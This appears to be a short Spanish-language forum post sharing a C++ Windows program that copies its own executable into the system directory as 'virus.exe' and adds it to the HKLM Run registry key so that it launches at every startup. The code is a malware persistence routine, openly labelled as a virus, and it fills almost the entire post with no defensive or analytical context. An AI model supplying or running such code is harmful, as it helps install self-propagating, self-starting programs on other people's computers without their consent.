Código: Seleccionar todo
#include <windows.h>
#include <string>
using namespace std;
int main()
{
char system[MAX_PATH];
char nombre_y_directorio[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,nombre_y_directorio,sizeof(nombre_y_directorio));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\virus.exe");
CopyFile(nombre_y_directorio,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Prueba",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
return 0;
}
saludos